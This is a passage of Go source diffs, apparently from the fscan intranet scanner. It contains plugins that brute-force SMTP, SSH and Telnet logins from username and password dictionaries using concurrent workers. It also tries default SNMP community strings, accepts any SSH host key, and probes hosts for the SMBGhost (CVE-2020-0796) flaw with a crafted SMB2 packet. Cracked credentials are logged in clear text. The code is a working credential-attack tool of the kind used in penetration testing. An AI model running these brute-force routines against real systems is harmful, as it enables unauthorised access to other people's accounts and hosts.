Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
// 在协程中尝试连接
resultChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := SmtpConn(info, credential.Username, credential.Password, timeoutSeconds)
select {
case <-connCtx.Done():
case resultChan <- struct {
success bool
err error
}{success, err}:
}
}()
// 等待结果或超时
var success bool
var err error
select {
case result := <-resultChan:
success = result.success
err = result.err
case <-connCtx.Done():
cancel()
if ctx.Err() != nil {
// 全局超时
return &SmtpScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
}
// 单个连接超时
err = fmt.Errorf("连接超时")
}
cancel() // 释放连接上下文
if success {
isAnonymous := credential.Username == "" && credential.Password == ""
return &SmtpScanResult{
Success: true,
Credential: credential,
IsAnonymous: isAnonymous,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &SmtpScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// SmtpConn 尝试 SMTP 连接
func SmtpConn(info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(timeoutSeconds) * time.Second
addr := fmt.Sprintf("%s:%s", host, port)
// 设置连接超时
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err != nil {
return false, err
}
defer conn.Close()
// 设置读写超时
conn.SetDeadline(time.Now().Add(timeout))
client, err := smtp.NewClient(conn, host)
if err != nil {
return false, err
}
defer client.Close()
// 尝试认证
if user != "" {
auth := smtp.PlainAuth("", user, pass, host)
err = client.Auth(auth)
if err != nil {
return false, err
}
}
// 尝试发送邮件(测试权限)
err = client.Mail("[email protected]")
if err != nil {
return false, err
}
return true, nil
}
// saveSmtpResult 保存SMTP扫描结果
func saveSmtpResult(info *Common.HostInfo, target string, result *SmtpScanResult) {
var successMsg string
var details map[string]interface{}
if result.IsAnonymous {
successMsg = fmt.Sprintf("SMTP服务 %s 允许匿名访问", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "smtp",
"type": "anonymous-access",
"anonymous": true,
}
} else {
successMsg = fmt.Sprintf("SMTP服务 %s 爆破成功 用户名: %v 密码: %v",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "smtp",
"type": "weak-password",
"username": result.Credential.Username,
"password": result.Credential.Password,
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}
+144
View File
@@ -0,0 +1,144 @@
package Plugins
import (
"fmt"
"github.com/gosnmp/gosnmp"
"github.com/shadow1ng/fscan/Common"
"strconv"
"strings"
"time"
)
// SNMPScan 执行SNMP服务扫描
func SNMPScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
portNum, _ := strconv.Atoi(info.Ports)
defaultCommunities := []string{"public", "private", "cisco", "community"}
timeout := time.Duration(Common.Timeout) * time.Second
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities)))
tried := 0
total := len(defaultCommunities)
for _, community := range defaultCommunities {
tried++
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community))
}
done := make(chan struct {
success bool
sysDesc string
err error
}, 1)
go func(community string) {
success, sysDesc, err := SNMPConnect(info, community, portNum)
select {
case done <- struct {
success bool
sysDesc string
err error
}{success, sysDesc, err}:
default:
}
}(community)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("SNMP服务 %s community: %v 连接成功", target, community)
if result.sysDesc != "" {
successMsg += fmt.Sprintf(" System: %v", result.sysDesc)
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "snmp",
"community": community,
"type": "weak-community",
"system": result.sysDesc,
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(timeout):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("SNMP服务 %s 尝试失败 community: %v 错误: %v",
target, community, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried))
return tmperr
}
// SNMPConnect 尝试SNMP连接
func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, string, error) {
host := info.Host
timeout := time.Duration(Common.Timeout) * time.Second
snmp := &gosnmp.GoSNMP{
Target: host,
Port: uint16(portNum),
Community: community,
Version: gosnmp.Version2c,
Timeout: timeout,
Retries: 1,
}
err := snmp.Connect()
if err != nil {
return false, "", err
}
defer snmp.Conn.Close()
oids := []string{"1.3.6.1.2.1.1.1.0"}
result, err := snmp.Get(oids)
if err != nil {
return false, "", err
}
if len(result.Variables) > 0 {
var sysDesc string
if result.Variables[0].Type != gosnmp.NoSuchObject {
sysDesc = strings.TrimSpace(string(result.Variables[0].Value.([]byte)))
}
return true, sysDesc, nil
}
return false, "", fmt.Errorf("认证失败")
}
+359
View File
@@ -0,0 +1,359 @@
package Plugins
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/crypto/ssh"
"io/ioutil"
"net"
"strings"
"sync"
"time"
)
// SshCredential 表示一个SSH凭据
type SshCredential struct {
Username string
Password string
}
// SshScanResult 表示SSH扫描结果
type SshScanResult struct {
Success bool
Error error
Credential SshCredential
}
// SshScan 扫描SSH服务弱密码
func SshScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 创建全局超时上下文
globalCtx, globalCancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer globalCancel()
// 创建结果通道
resultChan := make(chan *SshScanResult, 1)
// 启动一个协程进行扫描
go func() {
// 如果指定了SSH密钥,使用密钥认证而非密码爆破
if Common.SshKeyPath != "" {
Common.LogDebug(fmt.Sprintf("使用SSH密钥认证: %s", Common.SshKeyPath))
// 尝试使用密钥连接各个用户
for _, user := range Common.Userdict["ssh"] {
select {
case <-globalCtx.Done():
Common.LogDebug("全局超时,中止密钥认证")
return
default:
Common.LogDebug(fmt.Sprintf("尝试使用密钥认证用户: %s", user))
success, err := attemptKeyAuth(info, user, Common.SshKeyPath, Common.Timeout)
if success {
credential := SshCredential{
Username: user,
Password: "", // 使用密钥,无密码
}
resultChan <- &SshScanResult{
Success: true,
Credential: credential,
}
return
} else {
Common.LogDebug(fmt.Sprintf("密钥认证失败: %s, 错误: %v", user, err))
}
}
}
Common.LogDebug("所有用户密钥认证均失败")
resultChan <- nil
return
}
// 否则使用密码爆破
credentials := generateCredentials(Common.Userdict["ssh"], Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ssh"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentSshScan(globalCtx, info, credentials, Common.Timeout, Common.MaxRetries, Common.ModuleThreadNum)
resultChan <- result
}()
// 等待结果或全局超时
select {
case result := <-resultChan:
if result != nil {
// 记录成功结果
logAndSaveSuccess(info, target, result)
return nil
}
case <-globalCtx.Done():
Common.LogDebug(fmt.Sprintf("扫描 %s 全局超时", target))
return fmt.Errorf("全局超时,扫描未完成")
}
Common.LogDebug(fmt.Sprintf("扫描完成,未发现有效凭据"))
return nil
}
// attemptKeyAuth 尝试使用SSH密钥认证
func attemptKeyAuth(info *Common.HostInfo, username, keyPath string, timeoutSeconds int64) (bool, error) {
pemBytes, err := ioutil.ReadFile(keyPath)
if err != nil {
return false, fmt.Errorf("读取密钥失败: %v", err)
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, fmt.Errorf("解析密钥失败: %v", err)
}
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{ssh.PublicKeys(signer)},
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
Timeout: time.Duration(timeoutSeconds) * time.Second,
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
if err != nil {
return false, err
}
defer client.Close()
session, err := client.NewSession()
if err != nil {
return false, err
}
defer session.Close()
return true, nil
}
// generateCredentials 生成所有用户名密码组合
func generateCredentials(users, passwords []string) []SshCredential {
var credentials []SshCredential
for _, user := range users {
for _, pass := range passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, SshCredential{
Username: user,
Password: actualPass,
})
}
}
return credentials
}
// concurrentSshScan 并发扫描SSH服务
func concurrentSshScan(ctx context.Context, info *Common.HostInfo, credentials []SshCredential, timeout int64, maxRetries, maxThreads int) *SshScanResult {
// 限制并发数
if maxThreads <= 0 {
maxThreads = 10 // 默认值
}
if maxThreads > len(credentials) {
maxThreads = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *SshScanResult, 1)
workChan := make(chan SshCredential, maxThreads)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxThreads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := trySshCredential(info, credential, timeout, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果
select {
case result, ok := <-resultChan:
if ok {
return result
}
case <-ctx.Done():
Common.LogDebug("父上下文取消,中止所有扫描")
}
return nil
}
// trySshCredential 尝试单个SSH凭据
func trySshCredential(info *Common.HostInfo, credential SshCredential, timeout int64, maxRetries int) *SshScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
success, err := attemptSshConnection(info, credential.Username, credential.Password, timeout)
if success {
return &SshScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
return &SshScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// attemptSshConnection 尝试SSH连接
func attemptSshConnection(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSeconds)*time.Second)
defer cancel()
connChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := sshConnect(info, username, password, timeoutSeconds)
select {
case <-ctx.Done():
case connChan <- struct {
success bool
err error
}{success, err}:
}
}()
select {
case result := <-connChan:
return result.success, result.err
case <-ctx.Done():
return false, fmt.Errorf("连接超时")
}
}
// sshConnect 建立SSH连接并验证
func sshConnect(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
auth := []ssh.AuthMethod{ssh.Password(password)}
config := &ssh.ClientConfig{
User: username,
Auth: auth,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil
},
Timeout: time.Duration(timeoutSeconds) * time.Second,
}
client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports), config)
if err != nil {
return false, err
}
defer client.Close()
session, err := client.NewSession()
if err != nil {
return false, err
}
defer session.Close()
return true, nil
}
// logAndSaveSuccess 记录并保存成功结果
func logAndSaveSuccess(info *Common.HostInfo, target string, result *SshScanResult) {
var successMsg string
details := map[string]interface{}{
"port": info.Ports,
"service": "ssh",
"username": result.Credential.Username,
"type": "weak-password",
}
// 区分密钥认证和密码认证
if Common.SshKeyPath != "" {
successMsg = fmt.Sprintf("SSH密钥认证成功 %s User:%v KeyPath:%v",
target, result.Credential.Username, Common.SshKeyPath)
details["auth_type"] = "key"
details["key_path"] = Common.SshKeyPath
} else {
successMsg = fmt.Sprintf("SSH密码认证成功 %s User:%v Pass:%v",
target, result.Credential.Username, result.Credential.Password)
details["auth_type"] = "password"
details["password"] = result.Credential.Password
}
Common.LogSuccess(successMsg)
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}
+161
View File
@@ -0,0 +1,161 @@
package Plugins
import (
"bytes"
"fmt"
"time"
"github.com/shadow1ng/fscan/Common"
)
const (
pkt = "\x00" + // session
"\x00\x00\xc0" + // legth
"\xfeSMB@\x00" + // protocol
//[MS-SMB2]: SMB2 NEGOTIATE Request
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x00\x00" +
"\x1f\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
"$\x00" +
"\x08\x00" +
"\x01\x00" +
"\x00\x00" +
"\x7f\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"x\x00" +
"\x00\x00" +
"\x02\x00" +
"\x00\x00" +
"\x02\x02" +
"\x10\x02" +
"\x22\x02" +
"$\x02" +
"\x00\x03" +
"\x02\x03" +
"\x10\x03" +
"\x11\x03" +
"\x00\x00\x00\x00" +
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
"\x01\x00" +
"&\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" +
"\x20\x00" +
"\x01\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x00\x00" +
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
"\x03\x00" +
"\x0e\x00" +
"\x00\x00\x00\x00" +
"\x01\x00" + //CompressionAlgorithmCount
"\x00\x00" +
"\x01\x00\x00\x00" +
"\x01\x00" + //LZNT1
"\x00\x00" +
"\x00\x00\x00\x00"
)
// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数
func SmbGhost(info *Common.HostInfo) error {
// 如果开启了暴力破解模式,跳过该检测
if Common.DisableBrute {
return nil
}
// 执行实际的SMB Ghost漏洞扫描
err := SmbGhostScan(info)
return err
}
// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑
func SmbGhostScan(info *Common.HostInfo) error {
// 设置扫描参数
ip := info.Host
port := 445 // SMB服务默认端口
timeout := time.Duration(Common.Timeout) * time.Second
// 构造目标地址
addr := fmt.Sprintf("%s:%v", ip, port)
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err != nil {
return err
}
defer conn.Close() // 确保连接最终被关闭
// 发送SMB协议探测数据包
if _, err = conn.Write([]byte(pkt)); err != nil {
return err
}
// 准备接收响应
buff := make([]byte, 1024)
// 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil {
return err
}
// 读取响应数据
n, err := conn.Read(buff)
if err != nil || n == 0 {
return err
}
// 分析响应数据,检测是否存在漏洞
// 检查条件:
// 1. 响应包含"Public"字符串
// 2. 响应长度大于等于76字节
// 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00)
if bytes.Contains(buff[:n], []byte("Public")) &&
len(buff[:n]) >= 76 &&
bytes.Equal(buff[72:74], []byte{0x11, 0x03}) &&
bytes.Equal(buff[74:76], []byte{0x02, 0x00}) {
// 发现漏洞,记录结果
result := fmt.Sprintf("%v CVE-2020-0796 SmbGhost Vulnerable", ip)
Common.LogSuccess(result)
}
return err
}
+769
View File
@@ -0,0 +1,769 @@
package Plugins
import (
"bytes"
"context"
"errors"
"fmt"
"net"
"regexp"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
)
// TelnetCredential 表示一个Telnet凭据
type TelnetCredential struct {
Username string
Password string
}
// TelnetScanResult 表示Telnet扫描结果
type TelnetScanResult struct {
Success bool
Error error
Credential TelnetCredential
NoAuth bool
}
// TelnetScan 执行Telnet服务扫描和密码爆破
func TelnetScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []TelnetCredential
for _, user := range Common.Userdict["telnet"] {
for _, pass := range Common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, TelnetCredential{
Username: user,
Password: actualPass,
})
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["telnet"]), len(Common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentTelnetScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
saveTelnetResult(info, target, result)
return nil
}
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Telnet扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentTelnetScan 并发扫描Telnet服务
func concurrentTelnetScan(ctx context.Context, info *Common.HostInfo, credentials []TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *TelnetScanResult, 1)
workChan := make(chan TelnetCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryTelnetCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success || result.NoAuth {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据或无需认证,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && (result.Success || result.NoAuth) {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Telnet并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryTelnetCredential 尝试单个Telnet凭据
func tryTelnetCredential(ctx context.Context, info *Common.HostInfo, credential TelnetCredential, timeoutSeconds int64, maxRetries int) *TelnetScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &TelnetScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建结果通道
resultChan := make(chan struct {
success bool
noAuth bool
err error
}, 1)
// 设置单个连接超时
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
go func() {
defer cancel()
noAuth, err := telnetConnWithContext(connCtx, info, credential.Username, credential.Password)
select {
case <-connCtx.Done():
// 连接已超时或取消
case resultChan <- struct {
success bool
noAuth bool
err error
}{err == nil, noAuth, err}:
}
}()
// 等待结果或超时
var success bool
var noAuth bool
var err error
select {
case result := <-resultChan:
success = result.success
noAuth = result.noAuth
err = result.err
case <-connCtx.Done():
if ctx.Err() != nil {
// 全局超时
return &TelnetScanResult{
Success: false,
Error: ctx.Err(),
Credential: credential,
}
}
// 单个连接超时
err = fmt.Errorf("连接超时")
}
if noAuth {
return &TelnetScanResult{
Success: false,
NoAuth: true,
Credential: credential,
}
}
if success {
return &TelnetScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &TelnetScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// telnetConnWithContext 带上下文的Telnet连接尝试
func telnetConnWithContext(ctx context.Context, info *Common.HostInfo, user, pass string) (bool, error) {
// 创建TCP连接(使用支持context的socks代理)
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", fmt.Sprintf("%s:%s", info.Host, info.Ports))
if err != nil {
return false, err
}
client := &TelnetClient{
IPAddr: info.Host,
Port: info.Ports,
UserName: user,
Password: pass,
conn: conn,
}
// 设置连接关闭
defer client.Close()
// 检查上下文是否已取消
select {
case <-ctx.Done():
return false, ctx.Err()
default:
}
// 初始化连接
client.init()
client.ServerType = client.MakeServerType()
if client.ServerType == UnauthorizedAccess {
return true, nil
}
err = client.Login()
return false, err
}
// saveTelnetResult 保存Telnet扫描结果
func saveTelnetResult(info *Common.HostInfo, target string, result *TelnetScanResult) {
var successMsg string
var details map[string]interface{}
if result.NoAuth {
successMsg = fmt.Sprintf("Telnet服务 %s 无需认证", target)
details = map[string]interface{}{
"port": info.Ports,
"service": "telnet",
"type": "unauthorized-access",
}
} else {
successMsg = fmt.Sprintf("Telnet服务 %s 用户名:%v 密码:%v",
target, result.Credential.Username, result.Credential.Password)
details = map[string]interface{}{
"port": info.Ports,
"service": "telnet",
"type": "weak-password",
"username": result.Credential.Username,
"password": result.Credential.Password,
}
}
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
}
// TelnetClient Telnet客户端结构体
type TelnetClient struct {
IPAddr string // 服务器IP地址
Port string // 服务器端口
UserName string // 用户名
Password string // 密码
conn net.Conn // 网络连接
LastResponse string // 最近一次响应内容
ServerType int // 服务器类型
}
// init 初始化Telnet连接
func (c *TelnetClient) init() {
// 启动后台goroutine处理服务器响应
go func() {
for {
// 读取服务器响应
buf, err := c.read()
if err != nil {
// 处理连接关闭和EOF情况
if strings.Contains(err.Error(), "closed") ||
strings.Contains(err.Error(), "EOF") {
break
}
break
}
// 处理响应数据
displayBuf, commandList := c.SerializationResponse(buf)
if len(commandList) > 0 {
// 有命令需要回复
replyBuf := c.MakeReplyFromList(commandList)
c.LastResponse += string(displayBuf)
_ = c.write(replyBuf)
} else {
// 仅保存显示内容
c.LastResponse += string(displayBuf)
}
}
}()
// 等待连接初始化完成
time.Sleep(time.Second * 2)
}
// WriteContext 写入数据到Telnet连接
func (c *TelnetClient) WriteContext(s string) {
// 写入字符串并添加回车及空字符
_ = c.write([]byte(s + "\x0d\x00"))
}
// ReadContext 读取Telnet连接返回的内容
func (c *TelnetClient) ReadContext() string {
// 读取完成后清空缓存
defer func() { c.Clear() }()
// 等待响应
if c.LastResponse == "" {
time.Sleep(time.Second)
}
// 处理特殊字符
c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x00", "")
c.LastResponse = strings.ReplaceAll(c.LastResponse, "\x0d\x0a", "\n")
return c.LastResponse
}
// Netloc 获取网络地址字符串
func (c *TelnetClient) Netloc() string {
return fmt.Sprintf("%s:%s", c.IPAddr, c.Port)
}
// Close 关闭Telnet连接
func (c *TelnetClient) Close() {
if c.conn != nil {
c.conn.Close()
}
}
// SerializationResponse 解析Telnet响应数据
func (c *TelnetClient) SerializationResponse(responseBuf []byte) (displayBuf []byte, commandList [][]byte) {
for {
// 查找IAC命令标记
index := bytes.IndexByte(responseBuf, IAC)
if index == -1 || len(responseBuf)-index < 2 {
displayBuf = append(displayBuf, responseBuf...)
break
}
// 获取选项字符
ch := responseBuf[index+1]
// 处理连续的IAC
if ch == IAC {
displayBuf = append(displayBuf, responseBuf[:index]...)
responseBuf = responseBuf[index+1:]
continue
}
// 处理DO/DONT/WILL/WONT命令
if ch == DO || ch == DONT || ch == WILL || ch == WONT {
commandBuf := responseBuf[index : index+3]
commandList = append(commandList, commandBuf)
displayBuf = append(displayBuf, responseBuf[:index]...)
responseBuf = responseBuf[index+3:]
continue
}
// 处理子协商命令
if ch == SB {
displayBuf = append(displayBuf, responseBuf[:index]...)
seIndex := bytes.IndexByte(responseBuf, SE)
if seIndex != -1 && seIndex > index {
commandList = append(commandList, responseBuf[index:seIndex+1])
responseBuf = responseBuf[seIndex+1:]
continue
}
}
break
}
return displayBuf, commandList
}
// MakeReplyFromList 处理命令列表并生成回复
func (c *TelnetClient) MakeReplyFromList(list [][]byte) []byte {
var reply []byte
for _, command := range list {
reply = append(reply, c.MakeReply(command)...)
}
return reply
}
// MakeReply 根据命令生成对应的回复
func (c *TelnetClient) MakeReply(command []byte) []byte {
// 命令至少需要3字节
if len(command) < 3 {
return []byte{}
}
verb := command[1] // 动作类型
option := command[2] // 选项码
// 处理回显(ECHO)和抑制继续进行(SGA)选项
if option == ECHO || option == SGA {
switch verb {
case DO:
return []byte{IAC, WILL, option}
case DONT:
return []byte{IAC, WONT, option}
case WILL:
return []byte{IAC, DO, option}
case WONT:
return []byte{IAC, DONT, option}
case SB:
// 处理子协商命令
// 命令格式: IAC + SB + option + modifier + IAC + SE
if len(command) >= 4 {
modifier := command[3]
if modifier == ECHO {
return []byte{IAC, SB, option, BINARY, IAC, SE}
}
}
}
} else {
// 处理其他选项 - 拒绝所有请求
switch verb {
case DO, DONT:
return []byte{IAC, WONT, option}
case WILL, WONT:
return []byte{IAC, DONT, option}
}
}
return []byte{}
}
// read 从Telnet连接读取数据
func (c *TelnetClient) read() ([]byte, error) {
var buf [2048]byte
// 设置读取超时为2秒
_ = c.conn.SetReadDeadline(time.Now().Add(time.Second * 2))
n, err := c.conn.Read(buf[0:])
if err != nil {
return nil, err
}
return buf[:n], nil
}
// write 向Telnet连接写入数据
func (c *TelnetClient) write(buf []byte) error {
// 设置写入超时
_ = c.conn.SetWriteDeadline(time.Now().Add(time.Second * 3))
_, err := c.conn.Write(buf)
if err != nil {
return err
}
// 写入后短暂延迟,让服务器有时间处理
time.Sleep(TIME_DELAY_AFTER_WRITE)
return nil
}
// Login 根据服务器类型执行登录
func (c *TelnetClient) Login() error {
switch c.ServerType {
case Closed:
return errors.New("service is disabled")
case UnauthorizedAccess:
return nil
case OnlyPassword:
return c.LogBaserOnlyPassword()
case UsernameAndPassword:
return c.LogBaserUsernameAndPassword()
default:
return errors.New("unknown server type")
}
}
// MakeServerType 通过分析服务器响应判断服务器类型
func (c *TelnetClient) MakeServerType() int {
responseString := c.ReadContext()
// 空响应情况
if responseString == "" {
return Closed
}
response := strings.Split(responseString, "\n")
if len(response) == 0 {
return Closed
}
lastLine := strings.ToLower(response[len(response)-1])
// 检查是否需要用户名和密码
if containsAny(lastLine, []string{"user", "name", "login", "account", "用户名", "登录"}) {
return UsernameAndPassword
}
// 检查是否只需要密码
if strings.Contains(lastLine, "pass") {
return OnlyPassword
}
// 检查是否无需认证的情况
if isNoAuthRequired(lastLine) || c.isLoginSucceed(responseString) {
return UnauthorizedAccess
}
return Closed
}
// 辅助函数:检查字符串是否包含任意给定子串
func containsAny(s string, substrings []string) bool {
for _, sub := range substrings {
if strings.Contains(s, sub) {
